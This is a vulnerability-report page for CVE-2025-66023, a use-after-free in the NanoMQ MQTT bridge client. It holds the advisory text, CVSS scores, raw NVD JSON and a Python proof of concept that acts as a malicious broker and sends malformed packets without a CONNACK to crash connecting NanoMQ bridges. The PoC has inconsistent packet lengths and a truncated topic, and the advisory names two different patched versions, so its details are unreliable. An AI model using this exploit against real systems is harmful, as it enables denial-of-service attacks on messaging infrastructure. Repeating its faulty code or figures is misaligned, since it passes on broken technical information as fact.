Security Vulnerability Report
中文
CVE-2025-66023 CVSS 4.9 MEDIUM

CVE-2025-66023

Published: 2026-01-01 15:15:42
Last Modified: 2026-02-18 16:34:58

Description

NanoMQ MQTT Broker (NanoMQ) is an all-around Edge Messaging Platform. Versions prior to 0.24.5 have a Heap-Use-After-Free (UAF) vulnerability within the MQTT bridge client component (implemented via the underlying NanoNNG library). The vulnerability is triggered when NanoMQ acts as a bridge connecting to a remote MQTT broker. A malicious remote broker can trigger a crash (Denial of Service) or potential memory corruption by accepting the connection and immediately sending a malformed packet sequence. Version 0.34.5 contains a patch. The patch enforces stricter protocol adherence in the MQTT client SDK embedded in NanoMQ. Specifically, it ensures that CONNACK is always the first packet processed in the line. This prevents the state confusion that led to the Heap-Use-After-Free (UAF) when a malicious server sent a malformed packet sequence immediately after connection establishment. As a workaround, validate the remote broker before bridging.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:* - VULNERABLE
NanoMQ < 0.24.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-66023 PoC - Malicious MQTT Broker # This PoC demonstrates how a malicious MQTT broker can trigger UAF in NanoMQ bridge client import socket import time import struct def create_mqtt_connect_packet(client_id="nano_bridge_client"): """Create MQTT CONNECT packet""" # Fixed header packet_type = 0x10 # CONNECT remaining_length = 2 + len(client_id) + 12 + 12 # Simplified calculation payload = bytearray() # Protocol name payload.extend([0x00, 0x04, 0x4D, 0x51, 0x54, 0x54]) # "MQTT" # Protocol level (4 = MQTT 3.1.1) payload.append(0x04) # Connect flags payload.append(0x02) # Clean session # Keep alive payload.extend([0x00, 0x3C]) # 60 seconds # Client ID payload.extend(struct.pack('!H', len(client_id))) payload.extend(client_id.encode()) return bytes([packet_type, len(payload)]) + bytes(payload) def create_malformed_packets(): """Create malformed packet sequence to trigger UAF""" packets = [] # Skip CONNACK, send PUBLISH directly (malformed) publish_packet = bytearray([0x32, 0x0A]) # PUBLISH with remaining length publish_packet.extend([0x00, 0x03, 0x74, 0x65, 0x73]) # Topic "test" publish_packet.extend([0x00, 0x00]) # Packet ID publish_packet.extend(b"malicious") packets.append(bytes(publish_packet)) # Send PINGREQ without proper state packets.append(bytes([0xC0, 0x00])) # Send SUBSCRIBE without proper state subscribe_packet = bytearray([0x82, 0x09]) subscribe_packet.extend([0x00, 0x01]) # Packet ID subscribe_packet.extend([0x00, 0x05, 0x74, 0x6F, 0x70, 0x69, 0x63]) # Topic subscribe_packet.append(0x00) packets.append(bytes(subscribe_packet)) return packets def start_malicious_broker(port=1883): """Start malicious MQTT broker to trigger UAF in NanoMQ""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(1) print(f"[*] Malicious MQTT broker listening on port {port}") while True: try: client, addr = server.accept() print(f"[+] NanoMQ client connected from {addr}") # Wait for CONNECT packet connect_data = client.recv(1024) if not connect_data: client.close() continue print("[+] Received CONNECT packet from NanoMQ") # Send malformed packet sequence WITHOUT CONNACK print("[*] Sending malformed packet sequence...") malformed = create_malformed_packets() for packet in malformed: client.send(packet) time.sleep(0.1) print("[*] Malformed packets sent. UAF should be triggered.") client.close() except Exception as e: print(f"[-] Error: {e}") break if __name__ == "__main__": print("="*60) print("CVE-2025-66023 PoC - NanoMQ MQTT Bridge UAF") print("="*60) start_malicious_broker()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66023", "sourceIdentifier": "[email protected]", "published": "2026-01-01T15:15:41.580", "lastModified": "2026-02-18T16:34:58.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanoMQ MQTT Broker (NanoMQ) is an all-around Edge Messaging Platform. Versions prior to 0.24.5 have a Heap-Use-After-Free (UAF) vulnerability within the MQTT bridge client component (implemented via the underlying NanoNNG library). The vulnerability is triggered when NanoMQ acts as a bridge connecting to a remote MQTT broker. A malicious remote broker can trigger a crash (Denial of Service) or potential memory corruption by accepting the connection and immediately sending a malformed packet sequence. Version 0.34.5 contains a patch. The patch enforces stricter protocol adherence in the MQTT client SDK embedded in NanoMQ. Specifically, it ensures that CONNACK is always the first packet processed in the line. This prevents the state confusion that led to the Heap-Use-After-Free (UAF) when a malicious server sent a malformed packet sequence immediately after connection establishment. As a workaround, validate the remote broker before bridging."}, {"lang": "es", "value": "NanoMQ MQTT Broker (NanoMQ) es una plataforma de mensajería Edge integral. Las versiones anteriores a la 0.24.5 tienen una vulnerabilidad de uso después de liberación (UAF) de heap dentro del componente cliente de puente MQTT (implementada a través de la biblioteca NanoNNG subyacente). La vulnerabilidad se activa cuando NanoMQ actúa como un puente que se conecta a un broker MQTT remoto. Un broker remoto malicioso puede provocar un fallo (denegación de servicio) o una posible corrupción de memoria al aceptar la conexión y enviar inmediatamente una secuencia de paquetes malformada. La versión 0.34.5 contiene un parche. El parche impone una adherencia más estricta al protocolo en el SDK de cliente MQTT incrustado en NanoMQ. Específicamente, asegura que CONNACK sea siempre el primer paquete procesado en la línea. Esto evita la confusión de estado que llevó al uso después de liberación (UAF) de heap cuando un servidor malicioso envió una secuencia de paquetes malformada inmediatamente después del establecimiento de la conexión. Como solución alternativa, valide el broker remoto antes de establecer el puente."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emqx:nanomq:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.24.5", "matchCriteriaId": "C2611740-8545-4416-83DC-F61FA8D85DCD"}]}]}], "references": [{"url": "https://github.com/nanomq/NanoNNG/pull/1365", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nanomq/nanomq/issues/214 ... (truncated)